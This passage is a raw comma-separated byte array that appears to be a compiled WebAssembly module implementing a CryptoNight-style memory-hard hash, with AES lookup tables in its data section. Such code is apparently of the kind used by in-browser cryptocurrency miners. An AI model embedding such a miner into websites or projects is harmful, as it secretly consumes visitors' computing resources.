32,9,65,120,106,54,2,0,32,3,32,1,66,8,16,17,32,4,40,2,0,33,0,5,32,6,65,184,3,72,4,64,32,6,69,4,64,32,3,65,1,54,2,60,11,32,4,32,9,65,200,124,106,32,6,106,54,2,0,32,3,65,240,61,65,184,3,32,6,107,172,16,17,5,32,4,32,9,65,128,124,106,32,6,106,54,2,0,32,3,65,240,61,65,128,4,32,6,107,172,16,17,32,4,32,4,40,2,0,65,200,124,106,54,2,0,32,3,65,241,61,66,184,3,16,17,32,3,65,1,54,2,60,11,32,3,32,0,66,8,16,17,32,4,32,4,40,2,0,65,120,106,34,0,54,2,0,11,32,4,32,0,65,64,106,54,2,0,32,3,32,5,66,192,0,16,17,32,2,32,3,40,2,0,34,0,65,24,118,58,0,0,32,2,32,0,65,16,118,58,0,1,32,2,32,0,65,8,118,58,0,2,32,2,32,0,58,0,3,32,2,32,10,40,2,0,34,0,65,24,118,58,0,4,32,2,32,0,65,16,118,58,0,5,32,2,32,0,65,8,118,58,0,6,32,2,32,0,58,0,7,32,2,32,11,40,2,0,34,0,65,24,118,58,0,8,32,2,32,0,65,16,118,58,0,9,32,2,32,0,65,8,118,58,0,10,32,2,32,0,58,0,11,32,2,32,12,40,2,0,34,0,65,24,118,58,0,12,32,2,32,0,65,16,118,58,0,13,32,2,32,0,65,8,118,58,0,14,32,2,32,0,58,0,15,32,2,32,13,40,2,0,34,0,65,24,118,58,0,16,32,2,32,0,65,16,118,58,0,17,32,2,32,0,65,8,118,58,0,18,32,2,32,0,58,0,19,32,2,32,14,40,2,0,34,0,65,24,118,58,0,20,32,2,32,0,65,16,118,58,0,21,32,2,32,0,65,8,118,58,0,22,32,2,32,0,58,0,23,32,2,32,15,40,2,0,34,0,65,24,118,58,0,24,32,2,32,0,65,16,118,58,0,25,32,2,32,0,65,8,118,58,0,26,32,2,32,0,58,0,27,32,2,32,16,40,2,0,34,0,65,24,118,58,0,28,32,2,32,0,65,16,118,58,0,29,32,2,32,0,65,8,118,58,0,30,32,2,32,0,58,0,31,32,3,36,4,11,139,20,2,20,127,7,126,35,4,33,3,35,4,65,208,1,106,36,4,32,3,32,1,41,0,0,55,0,0,32,3,32,1,41,0,8,55,0,8,32,3,32,1,41,0,16,55,0,16,32,3,32,1,41,0,24,55,0,24,32,3,32,1,41,0,32,55,0,32,32,3,32,1,41,0,40,55,0,40,32,3,32,1,41,0,48,55,0,48,32,3,32,1,41,0,56,55,0,56,32,3,32,1,41,0,64,55,0,64,32,3,32,1,40,0,72,54,0,72,32,3,65,208,0,106,34,4,66,0,55,3,0,32,4,66,0,55,3,8,32,4,66,0,55,3,16,32,4,66,0,55,3,24,32,4,66,0,55,3,32,32,4,66,0,55,3,40,32,4,66,0,55,3,48,32,4,66,0,55,3,56,32,4,66,0,55,3,64,32,4,66,0,55,3,72,32,4,66,0,55,3,80,32,4,66,0,55,3,88,32,4,66,0,55,3,96,32,4,66,0,55,3,104,32,4,66,0,55,3,112,32,3,65,200,0,106,34,4,32,4,41,3,0,66,255,255,255,255,15,131,66,128,128,128,128,16,132,55,3,0,32,3,66,128,128,128,128,128,128,128,128,128,127,55,3,128,1,32,3,65,8,106,34,4,32,4,40,2,0,65,158,142,249,132,126,115,54,2,0,32,3,16,21,32,0,65,128,128,128,1,106,34,13,32,3,65,200,1,16,11,26,32,0,65,208,129,128,1,106,34,4,32,0,65,192,128,128,1,106,34,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,0,65,192,129,128,1,106,41,3,0,33,29,32,1,41,3,35,33,24,32,0,65,128,131,128,1,106,34,9,40,2,0,32,13,16,20,32,0,65,224,129,128,1,106,33,16,32,0,65,240,129,128,1,106,33,17,32,0,65,128,130,128,1,106,33,18,32,0,65,144,130,128,1,106,33,19,32,0,65,160,130,128,1,106,33,20,32,0,65,176,130,128,1,106,33,21,32,0,65,192,130,128,1,106,33,22,65,0,33,1,3,64,32,4,32,9,40,2,0,40,2,0,40,2,12,16,9,32,16,32,9,40,2,0,40,2,0,40,2,12,16,9,32,17,32,9,40,2,0,40,2,0,40,2,12,16,9,32,18,32,9,40,2,0,40,2,0,40,2,12,16,9,32,19,32,9,40,2,0,40,2,0,40,2,12,16,9,32,20,32,9,40,2,0,40,2,0,40,2,12,16,9,32,21,32,9,40,2,0,40,2,0,40,2,12,16,9,32,22,32,9,40,2,0,40,2,0,40,2,12,16,9,32,0,32,1,106,34,6,32,4,41,0,0,55,0,0,32,6,32,4,41,0,8,55,0,8,32,6,32,4,41,0,16,55,0,16,32,6,32,4,41,0,24,55,0,24,32,6,32,4,41,0,32,55,0,32,32,6,32,4,41,0,40,55,0,40,32,6,32,4,41,0,48,55,0,48,32,6,32,4,41,0,56,55,0,56,32,6,32,4,41,0,64,55,0,64,32,6,32,4,41,0,72,55,0,72,32,6,32,4,41,0,80,55,0,80,32,6,32,4,41,0,88,55,0,88,32,6,32,4,41,0,96,55,0,96,32,6,32,4,41,0,104,55,0,104,32,6,32,4,41,0,112,55,0,112,32,6,32,4,41,0,120,55,0,120,32,1,65,128,1,106,34,1,65,128,128,128,1,73,13,0,11,32,24,32,29,133,33,29,32,0,65,208,130,128,1,106,34,6,32,0,65,160,128,128,1,106,34,23,41,3,0,32,13,41,3,0,133,34,24,55,3,0,32,0,65,216,130,128,1,106,34,12,32,0,65,168,128,128,1,106,41,3,0,32,0,65,136,128,128,1,106,41,3,0,133,55,3,0,32,0,65,224,130,128,1,106,34,10,32,0,65,176,128,128,1,106,41,3,0,32,0,65,144,128,128,1,106,41,3,0,133,55,3,0,32,0,65,232,130,128,1,106,34,14,32,0,65,184,128,128,1,106,41,3,0,32,0,65,152,128,128,1,106,41,3,0,133,55,3,0,32,0,65,240,130,128,1,106,33,11,32,0,65,248,130,128,1,106,33,15,65,0,33,1,32,24,167,33,7,3,64,32,0,32,7,65,240,255,255,0,113,106,34,7,32,11,32,6,16,18,32,7,32,10,41,3,0,32,11,41,3,0,133,55,3,0,32,7,32,14,41,3,0,32,15,41,3,0,133,34,24,55,3,8,32,7,65,144,166,29,32,24,66,27,136,167,65,6,113,32,24,66,24,136,167,34,7,65,1,113,114,65,1,116,118,65,48,113,32,7,115,58,0,11,32,11,41,3,0,34,26,66,32,136,33,24,32,0,32,11,40,2,0,65,240,255,255,0,113,106,34,7,41,3,0,34,28,66,32,136,34,30,32,26,66,255,255,255,255,15,131,34,25,126,33,26,32,28,66,255,255,255,255,15,131,34,27,32,25,126,33,25,32,26,32,27,32,24,126,124,32,25,66,32,136,124,34,27,66,32,134,32,25,66,255,255,255,255,15,131,132,32,12,41,3,0,124,33,25,32,6,32,6,41,3,0,32,30,32,24,126,124,32,27,66,32,136,124,32,27,32,26,84,173,66,32,134,124,34,24,32,28,133,55,3,0,32,12,32,25,32,7,65,8,106,34,8,41,3,0,133,55,3,0,32,7,32,24,55,3,0,32,8,32,25,32,29,133,55,3,0,32,0,32,6,40,2,0,65,240,255,255,0,113,106,34,7,32,10,32,6,16,18,32,7,32,11,41,3,0,32,10,41,3,0,133,55,3,0,32,7,32,15,41,3,0,32,14,41,3,0,133,34,24,55,3,8,32,7,65,144,166,29,32,24,66,27,136,167,65,6,113,32,24,66,24,136,167,34,7,65,1,113,114,65,1,116,118,65,48,113,32,7,115,58,0,11,32,10,41,3,0,34,26,66,32,136,33,24,32,0,32,10,40,2,0,65,240,255,255,0,113,106,34,7,41,3,0,34,28,66,32,136,34,30,32,26,66,255,255,255,255,15,131,34,25,126,33,26,32,28,66,255,255,255,255,15,131,34,27,32,25,126,33,25,32,26,32,27,32,24,126,124,32,25,66,32,136,124,34,27,66,32,134,32,25,66,255,255,255,255,15,131,132,32,12,41,3,0,124,33,25,32,6,32,6,41,3,0,32,30,32,24,126,124,32,27,66,32,136,124,32,27,32,26,84,173,66,32,134,124,34,24,32,28,133,55,3,0,32,12,32,25,32,7,65,8,106,34,8,41,3,0,133,55,3,0,32,7,32,24,55,3,0,32,8,32,25,32,29,133,55,3,0,32,1,65,1,106,34,1,65,128,128,16,71,4,64,32,6,40,2,0,33,7,12,1,11,11,32,4,32,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,9,40,2,0,32,23,16,20,32,0,65,216,129,128,1,106,33,6,32,0,65,232,129,128,1,106,33,10,32,0,65,248,129,128,1,106,33,11,32,0,65,136,130,128,1,106,33,12,32,0,65,152,130,128,1,106,33,7,32,0,65,168,130,128,1,106,33,14,32,0,65,184,130,128,1,106,33,15,32,0,65,200,130,128,1,106,33,23,65,0,33,1,3,64,32,4,32,4,41,3,0,32,0,32,1,106,34,8,41,3,0,133,55,3,0,32,6,32,6,41,3,0,32,8,41,3,8,133,55,3,0,32,4,32,9,40,2,0,40,2,0,40,2,12,16,9,32,16,32,16,41,3,0,32,0,32,1,65,16,114,106,34,8,41,3,0,133,55,3,0,32,10,32,10,41,3,0,32,8,41,3,8,133,55,3,0,32,16,32,9,40,2,0,40,2,0,40,2,12,16,9,32,17,32,17,41,3,0,32,0,32,1,65,32,114,106,34,8,41,3,0,133,55,3,0,32,11,32,11,41,3,0,32,8,41,3,8,133,55,3,0,32,17,32,9,40,2,0,40,2,0,40,2,12,16,9,32,18,32,18,41,3,0,32,0,32,1,65,48,114,106,34,8,41,3,0,133,55,3,0,32,12,32,12,41,3,0,32,8,41,3,8,133,55,3,0,32,18,32,9,40,2,0,40,2,0,40,2,12,16,9,32,19,32,19,41,3,0,32,0,32,1,65,192,0,114,106,34,8,41,3,0,133,55,3,0,32,7,32,7,41,3,0,32,8,41,3,8,133,55,3,0,32,19,32,9,40,2,0,40,2,0,40,2,12,16,9,32,20,32,20,41,3,0,32,0,32,1,65,208,0,114,106,34,8,41,3,0,133,55,3,0,32,14,32,14,41,3,0,32,8,41,3,8,133,55,3,0,32,20,32,9,40,2,0,40,2,0,40,2,12,16,9,32,21,32,21,41,3,0,32,0,32,1,65,224,0,114,106,34,8,41,3,0,133,55,3,0,32,15,32,15,41,3,0,32,8,41,3,8,133,55,3,0,32,21,32,9,40,2,0,40,2,0,40,2,12,16,9,32,22,32,22,41,3,0,32,0,32,1,65,240,0,114,106,34,8,41,3,0,133,55,3,0,32,23,32,23,41,3,0,32,8,41,3,8,133,55,3,0,32,22,32,9,40,2,0,40,2,0,40,2,12,16,9,32,1,65,128,1,106,34,1,65,128,128,128,1,73,13,0,11,32,5,32,4,41,3,0,55,3,0,32,5,32,4,41,3,8,55,3,8,32,5,32,4,41,3,16,55,3,16,32,5,32,4,41,3,24,55,3,24,32,5,32,4,41,3,32,55,3,32,32,5,32,4,41,3,40,55,3,40,32,5,32,4,41,3,48,55,3,48,32,5,32,4,41,3,56,55,3,56,32,5,32,4,41,3,64,55,3,64,32,5,32,4,41,3,72,55,3,72,32,5,32,4,41,3,80,55,3,80,32,5,32,4,41,3,88,55,3,88,32,5,32,4,41,3,96,55,3,96,32,5,32,4,41,3,104,55,3,104,32,5,32,4,41,3,112,55,3,112,32,5,32,4,41,3,120,55,3,120,32,13,16,21,32,13,65,200,1,32,2,32,13,44,0,0,65,3,113,65,2,116,65,128,42,106,40,2,0,65,7,113,17,0,0,32,3,36,4,11,128,19,2,20,127,6,126,35,4,33,3,35,4,65,208,1,106,36,4,32,3,32,1,41,0,0,55,0,0,32,3,32,1,41,0,8,55,0,8,32,3,32,1,41,0,16,55,0,16,32,3,32,1,41,0,24,55,0,24,32,3,32,1,41,0,32,55,0,32,32,3,32,1,41,0,40,55,0,40,32,3,32,1,41,0,48,55,0,48,32,3,32,1,41,0,56,55,0,56,32,3,32,1,41,0,64,55,0,64,32,3,32,1,40,0,72,54,0,72,32,3,65,208,0,106,34,1,66,0,55,3,0,32,1,66,0,55,3,8,32,1,66,0,55,3,16,32,1,66,0,55,3,24,32,1,66,0,55,3,32,32,1,66,0,55,3,40,32,1,66,0,55,3,48,32,1,66,0,55,3,56,32,1,66,0,55,3,64,32,1,66,0,55,3,72,32,1,66,0,55,3,80,32,1,66,0,55,3,88,32,1,66,0,55,3,96,32,1,66,0,55,3,104,32,1,66,0,55,3,112,32,3,65,200,0,106,34,1,32,1,41,3,0,66,255,255,255,255,15,131,66,128,128,128,128,16,132,55,3,0,32,3,66,128,128,128,128,128,128,128,128,128,127,55,3,128,1,32,3,16,21,32,0,65,128,128,128,1,106,34,13,32,3,65,200,1,16,11,26,32,0,65,208,129,128,1,106,34,4,32,0,65,192,128,128,1,106,34,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,0,65,128,131,128,1,106,34,8,40,2,0,32,13,16,20,32,0,65,224,129,128,1,106,33,16,32,0,65,240,129,128,1,106,33,17,32,0,65,128,130,128,1,106,33,18,32,0,65,144,130,128,1,106,33,19,32,0,65,160,130,128,1,106,33,20,32,0,65,176,130,128,1,106,33,21,32,0,65,192,130,128,1,106,33,22,65,0,33,1,3,64,32,4,32,8,40,2,0,40,2,0,40,2,12,16,9,32,16,32,8,40,2,0,40,2,0,40,2,12,16,9,32,17,32,8,40,2,0,40,2,0,40,2,12,16,9,32,18,32,8,40,2,0,40,2,0,40,2,12,16,9,32,19,32,8,40,2,0,40,2,0,40,2,12,16,9,32,20,32,8,40,2,0,40,2,0,40,2,12,16,9,32,21,32,8,40,2,0,40,2,0,40,2,12,16,9,32,22,32,8,40,2,0,40,2,0,40,2,12,16,9,32,0,32,1,106,34,6,32,4,41,0,0,55,0,0,32,6,32,4,41,0,8,55,0,8,32,6,32,4,41,0,16,55,0,16,32,6,32,4,41,0,24,55,0,24,32,6,32,4,41,0,32,55,0,32,32,6,32,4,41,0,40,55,0,40,32,6,32,4,41,0,48,55,0,48,32,6,32,4,41,0,56,55,0,56,32,6,32,4,41,0,64,55,0,64,32,6,32,4,41,0,72,55,0,72,32,6,32,4,41,0,80,55,0,80,32,6,32,4,41,0,88,55,0,88,32,6,32,4,41,0,96,55,0,96,32,6,32,4,41,0,104,55,0,104,32,6,32,4,41,0,112,55,0,112,32,6,32,4,41,0,120,55,0,120,32,1,65,128,1,106,34,1,65,128,128,128,1,73,13,0,11,32,0,65,208,130,128,1,106,34,6,32,0,65,160,128,128,1,106,34,23,41,3,0,32,13,41,3,0,133,34,25,55,3,0,32,0,65,216,130,128,1,106,34,12,32,0,65,168,128,128,1,106,41,3,0,32,0,65,136,128,128,1,106,41,3,0,133,55,3,0,32,0,65,224,130,128,1,106,34,10,32,0,65,176,128,128,1,106,41,3,0,32,0,65,144,128,128,1,106,41,3,0,133,55,3,0,32,0,65,232,130,128,1,106,34,14,32,0,65,184,128,128,1,106,41,3,0,32,0,65,152,128,128,1,106,41,3,0,133,55,3,0,32,0,65,240,130,128,1,106,33,11,32,0,65,248,130,128,1,106,33,15,65,0,33,1,32,25,167,33,9,3,64,32,0,32,9,65,240,255,255,0,113,106,34,9,32,11,32,6,16,18,32,9,32,10,41,3,0,32,11,41,3,0,133,55,3,0,32,9,32,14,41,3,0,32,15,41,3,0,133,55,3,8,32,11,41,3,0,34,26,66,32,136,33,25,32,0,32,11,40,2,0,65,240,255,255,0,113,106,34,9,41,3,0,34,28,66,32,136,34,29,32,26,66,255,255,255,255,15,131,34,24,126,33,26,32,28,66,255,255,255,255,15,131,34,27,32,24,126,33,24,32,26,32,27,32,25,126,124,32,24,66,32,136,124,34,27,66,32,134,32,24,66,255,255,255,255,15,131,132,32,12,41,3,0,124,33,24,32,6,32,6,41,3,0,32,29,32,25,126,124,32,27,66,32,136,124,32,27,32,26,84,173,66,32,134,124,34,25,32,28,133,55,3,0,32,12,32,24,32,9,65,8,106,34,7,41,3,0,133,55,3,0,32,9,32,25,55,3,0,32,7,32,24,55,3,0,32,0,32,6,40,2,0,65,240,255,255,0,113,106,34,9,32,10,32,6,16,18,32,9,32,11,41,3,0,32,10,41,3,0,133,55,3,0,32,9,32,15,41,3,0,32,14,41,3,0,133,55,3,8,32,10,41,3,0,34,26,66,32,136,33,25,32,0,32,10,40,2,0,65,240,255,255,0,113,106,34,9,41,3,0,34,28,66,32,136,34,29,32,26,66,255,255,255,255,15,131,34,24,126,33,26,32,28,66,255,255,255,255,15,131,34,27,32,24,126,33,24,32,26,32,27,32,25,126,124,32,24,66,32,136,124,34,27,66,32,134,32,24,66,255,255,255,255,15,131,132,32,12,41,3,0,124,33,24,32,6,32,6,41,3,0,32,29,32,25,126,124,32,27,66,32,136,124,32,27,32,26,84,173,66,32,134,124,34,25,32,28,133,55,3,0,32,12,32,24,32,9,65,8,106,34,7,41,3,0,133,55,3,0,32,9,32,25,55,3,0,32,7,32,24,55,3,0,32,1,65,1,106,34,1,65,128,128,16,71,4,64,32,6,40,2,0,33,9,12,1,11,11,32,4,32,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,8,40,2,0,32,23,16,20,32,0,65,216,129,128,1,106,33,6,32,0,65,232,129,128,1,106,33,10,32,0,65,248,129,128,1,106,33,11,32,0,65,136,130,128,1,106,33,12,32,0,65,152,130,128,1,106,33,14,32,0,65,168,130,128,1,106,33,15,32,0,65,184,130,128,1,106,33,9,32,0,65,200,130,128,1,106,33,23,65,0,33,1,3,64,32,4,32,4,41,3,0,32,0,32,1,106,34,7,41,3,0,133,55,3,0,32,6,32,6,41,3,0,32,7,41,3,8,133,55,3,0,32,4,32,8,40,2,0,40,2,0,40,2,12,16,9,32,16,32,16,41,3,0,32,0,32,1,65,16,114,106,34,7,41,3,0,133,55,3,0,32,10,32,10,41,3,0,32,7,41,3,8,133,55,3,0,32,16,32,8,40,2,0,40,2,0,40,2,12,16,9,32,17,32,17,41,3,0,32,0,32,1,65,32,114,106,34,7,41,3,0,133,55,3,0,32,11,32,11,41,3,0,32,7,41,3,8,133,55,3,0,32,17,32,8,40,2,0,40,2,0,40,2,12,16,9,32,18,32,18,41,3,0,32,0,32,1,65,48,114,106,34,7,41,3,0,133,55,3,0,32,12,32,12,41,3,0,32,7,41,3,8,133,55,3,0,32,18,32,8,40,2,0,40,2,0,40,2,12,16,9,32,19,32,19,41,3,0,32,0,32,1,65,192,0,114,106,34,7,41,3,0,133,55,3,0,32,14,32,14,41,3,0,32,7,41,3,8,133,55,3,0,32,19,32,8,40,2,0,40,2,0,40,2,12,16,9,32,20,32,20,41,3,0,32,0,32,1,65,208,0,114,106,34,7,41,3,0,133,55,3,0,32,15,32,15,41,3,0,32,7,41,3,8,133,55,3,0,32,20,32,8,40,2,0,40,2,0,40,2,12,16,9,32,21,32,21,41,3,0,32,0,32,1,65,224,0,114,106,34,7,41,3,0,133,55,3,0,32,9,32,9,41,3,0,32,7,41,3,8,133,55,3,0,32,21,32,8,40,2,0,40,2,0,40,2,12,16,9,32,22,32,22,41,3,0,32,0,32,1,65,240,0,114,106,34,7,41,3,0,133,55,3,0,32,23,32,23,41,3,0,32,7,41,3,8,133,55,3,0,32,22,32,8,40,2,0,40,2,0,40,2,12,16,9,32,1,65,128,1,106,34,1,65,128,128,128,1,73,13,0,11,32,5,32,4,41,3,0,55,3,0,32,5,32,4,41,3,8,55,3,8,32,5,32,4,41,3,16,55,3,16,32,5,32,4,41,3,24,55,3,24,32,5,32,4,41,3,32,55,3,32,32,5,32,4,41,3,40,55,3,40,32,5,32,4,41,3,48,55,3,48,32,5,32,4,41,3,56,55,3,56,32,5,32,4,41,3,64,55,3,64,32,5,32,4,41,3,72,55,3,72,32,5,32,4,41,3,80,55,3,80,32,5,32,4,41,3,88,55,3,88,32,5,32,4,41,3,96,55,3,96,32,5,32,4,41,3,104,55,3,104,32,5,32,4,41,3,112,55,3,112,32,5,32,4,41,3,120,55,3,120,32,13,16,21,32,13,65,200,1,32,2,32,13,44,0,0,65,3,113,65,2,116,65,128,42,106,40,2,0,65,7,113,17,0,0,32,3,36,4,11,27,1,1,127,35,4,33,1,35,4,32,0,106,36,4,35,4,65,15,106,65,112,113,36,4,32,1,11,11,201,67,3,0,65,128,8,11,224,39,198,99,99,165,248,124,124,132,238,119,119,153,246,123,123,141,255,242,242,13,214,107,107,189,222,111,111,177,145,197,197,84,96,48,48,80,2,1,1,3,206,103,103,169,86,43,43,125,231,254,254,25,181,215,215,98,77,171,171,230,236,118,118,154,143,202,202,69,31,130,130,157,137,201,201,64,250,125,125,135,239,250,250,21,178,89,89,235,142,71,71,201,251,240,240,11,65,173,173,236,179,212,212,103,95,162,162,253,69,175,175,234,35,156,156,191,83,164,164,247,228,114,114,150,155,192,192,91,117,183,183,194,225,253,253,28,61,147,147,174,76,38,38,106,108,54,54,90,126,63,63,65,245,247,247,2,131,204,204,79,104,52,52,92,81,165,165,244,209,229,229,52,249,241,241,8,226,113,113,147,171,216,216,115,98,49,49,83,42,21,21,63,8,4,4,12,149,199,199,82,70,35,35,101,157,195,195,94,48,24,24,40,55,150,150,161,10,5,5,15,47,154,154,181,14,7,7,9,36,18,18,54,27,128,128,155,223,226,226,61,205,235,235,38,78,39,39,105,127,178,178,205,234,117,117,159,18,9,9,27,29,131,131,158,88,44,44,116,52,26,26,46,54,27,27,45,220,110,110,178,180,90,90,238,91,160,160,251,164,82,82,246,118,59,59,77,183,214,214,97,125,179,179,206,82,41,41,123,221,227,227,62,94,47,47,113,19,132,132,151,166,83,83,245,185,209,209,104,0,0,0,0,193,237,237,44,64,32,32,96,227,252,252,31,121,177,177,200,182,91,91,237,212,106,106,190,141,203,203,70,103,190,190,217,114,57,57,75,148,74,74,222,152,76,76,212,176,88,88,232,133,207,207,74,187,208,208,107,197,239,239,42,79,170,170,229,237,251,251,22,134,67,67,197,154,77,77,215,102,51,51,85,17,133,133,148,138,69,69,207,233,249,249,16,4,2,2,6,254,127,127,129,160,80,80,240,120,60,60,68,37,159,159,186,75,168,168,227,162,81,81,243,93,163,163,254,128,64,64,192,5,143,143,138,63,146,146,173,33,157,157,188,112,56,56,72,241,245,245,4,99,188,188,223,119,182,182,193,175,218,218,117,66,33,33,99,32,16,16,48,229,255,255,26,253,243,243,14,191,210,210,109,129,205,205,76,24,12,12,20,38,19,19,53,195,236,236,47,190,95,95,225,53,151,151,162,136,68,68,204,46,23,23,57,147,196,196,87,85,167,167,242,252,126,126,130,122,61,61,71,200,100,100,172,186,93,93,231,50,25,25,43,230,115,115,149,192,96,96,160,25,129,129,152,158,79,79,209,163,220,220,127,68,34,34,102,84,42,42,126,59,144,144,171,11,136,136,131,140,70,70,202,199,238,238,41,107,184,184,211,40,20,20,60,167,222,222,121,188,94,94,226,22,11,11,29,173,219,219,118,219,224,224,59,100,50,50,86,116,58,58,78,20,10,10,30,146,73,73,219,12,6,6,10,72,36,36,108,184,92,92,228,159,194,194,93,189,211,211,110,67,172,172,239,196,98,98,166,57,145,145,168,49,149,149,164,211,228,228,55,242,121,121,139,213,231,231,50,139,200,200,67,110,55,55,89,218,109,109,183,1,141,141,140,177,213,213,100,156,78,78,210,73,169,169,224,216,108,108,180,172,86,86,250,243,244,244,7,207,234,234,37,202,101,101,175,244,122,122,142,71,174,174,233,16,8,8,24,111,186,186,213,240,120,120,136,74,37,37,111,92,46,46,114,56,28,28,36,87,166,166,241,115,180,180,199,151,198,198,81,203,232,232,35,161,221,221,124,232,116,116,156,62,31,31,33,150,75,75,221,97,189,189,220,13,139,139,134,15,138,138,133,224,112,112,144,124,62,62,66,113,181,181,196,204,102,102,170,144,72,72,216,6,3,3,5,247,246,246,1,28,14,14,18,194,97,97,163,106,53,53,95,174,87,87,249,105,185,185,208,23,134,134,145,153,193,193,88,58,29,29,39,39,158,158,185,217,225,225,56,235,248,248,19,43,152,152,179,34,17,17,51,210,105,105,187,169,217,217,112,7,142,142,137,51,148,148,167,45,155,155,182,60,30,30,34,21,135,135,146,201,233,233,32,135,206,206,73,170,85,85,255,80,40,40,120,165,223,223,122,3,140,140,143,89,161,161,248,9,137,137,128,26,13,13,23,101,191,191,218,215,230,230,49,132,66,66,198,208,104,104,184,130,65,65,195,41,153,153,176,90,45,45,119,30,15,15,17,123,176,176,203,168,84,84,252,109,187,187,214,44,22,22,58,165,198,99,99,132,248,124,124,153,238,119,119,141,246,123,123,13,255,242,242,189,214,107,107,177,222,111,111,84,145,197,197,80,96,48,48,3,2,1,1,169,206,103,103,125,86,43,43,25,231,254,254,98,181,215,215,230,77,171,171,154,236,118,118,69,143,202,202,157,31,130,130,64,137,201,201,135,250,125,125,21,239,250,250,235,178,89,89,201,142,71,71,11,251,240,240,236,65,173,173,103,179,212,212,253,95,162,162,234,69,175,175,191,35,156,156,247,83,164,164,150,228,114,114,91,155,192,192,194,117,183,183,28,225,253,253,174,61,147,147,106,76,38,38,90,108,54,54,65,126,63,63,2,245,247,247,79,131,204,204,92,104,52,52,244,81,165,165,52,209,229,229,8,249,241,241,147,226,113,113,115,171,216,216,83,98,49,49,63,42,21,21,12,8,4,4,82,149,199,199,101,70,35,35,94,157,195,195,40,48,24,24,161,55,150,150,15,10,5,5,181,47,154,154,9,14,7,7,54,36,18,18,155,27,128,128,61,223,226,226,38,205,235,235,105,78,39,39,205,127,178,178,159,234,117,117,27,18,9,9,158,29,131,131,116,88,44,44,46,52,26,26,45,54,27,27,178,220,110,110,238,180,90,90,251,91,160,160,246,164,82,82,77,118,59,59,97,183,214,214,206,125,179,179,123,82,41,41,62,221,227,227,113,94,47,47,151,19,132,132,245,166,83,83,104,185,209,209,0,0,0,0,44,193,237,237,96,64,32,32,31,227,252,252,200,121,177,177,237,182,91,91,190,212,106,106,70,141,203,203,217,103,190,190,75,114,57,57,222,148,74,74,212,152,76,76,232,176,88,88,74,133,207,207,107,187,208,208,42,197,239,239,229,79,170,170,22,237,251,251,197,134,67,67,215,154,77,77,85,102,51,51,148,17,133,133,207,138,69,69,16,233,249,249,6,4,2,2,129,254,127,127,240,160,80,80,68,120,60,60,186,37,159,159,227,75,168,168,243,162,81,81,254,93,163,163,192,128,64,64,138,5,143,143,173,63,146,146,188,33,157,157,72,112,56,56,4,241,245,245,223,99,188,188,193,119,182,182,117,175,218,218,99,66,33,33,48,32,16,16,26,229,255,255,14,253,243,243,109,191,210,210,76,129,205,205,20,24,12,12,53,38,19,19,47,195,236,236,225,190,95,95,162,53,151,151,204,136,68,68,57,46,23,23,87,147,196,196,242,85,167,167,130,252,126,126,71,122,61,61,172,200,100,100,231,186,93,93,43,50,25,25,149,230,115,115,160,192,96,96,152,25,129,129,209,158,79,79,127,163,220,220,102,68,34,34,126,84,42,42,171,59,144,144,131,11,136,136,202,140,70,70,41,199,238,238,211,107,184,184,60,40,20,20,121,167,222,222,226,188,94,94,29,22,11,11,118,173,219,219,59,219,224,224,86,100,50,50,78,116,58,58,30,20,10,10,219,146,73,73,10,12,6,6,108,72,36,36,228,184,92,92,93,159,194,194,110,189,211,211,239,67,172,172,166,196,98,98,168,57,145,145,164,49,149,149,55,211,228,228,139,242,121,121,50,213,231,231,67,139,200,200,89,110,55,55,183,218,109,109,140,1,141,141,100,177,213,213,210,156,78,78,224,73,169,169,180,216,108,108,250,172,86,86,7,243,244,244,37,207,234,234,175,202,101,101,142,244,122,122,233,71,174,174,24,16,8,8,213,111,186,186,136,240,120,120,111,74,37,37,114,92,46,46,36,56,28,28,241,87,166,166,199,115,180,180,81,151,198,198,35,203,232,232,124,161,221,221,156,232,116,116,33,62,31,31,221,150,75,75,220,97,189,189,134,13,139,139,133,15,138,138,144,224,112,112,66,124,62,62,196,113,181,181,170,204,102,102,216,144,72,72,5,6,3,3,1,247,246,246,18,28,14,14,163,194,97,97,95,106,53,53,249,174,87,87,208,105,185,185,145,23,134,134,88,153,193,193,39,58,29,29,185,39,158,158,56,217,225,225,19,235,248,248,179,43,152,152,51,34,17,17,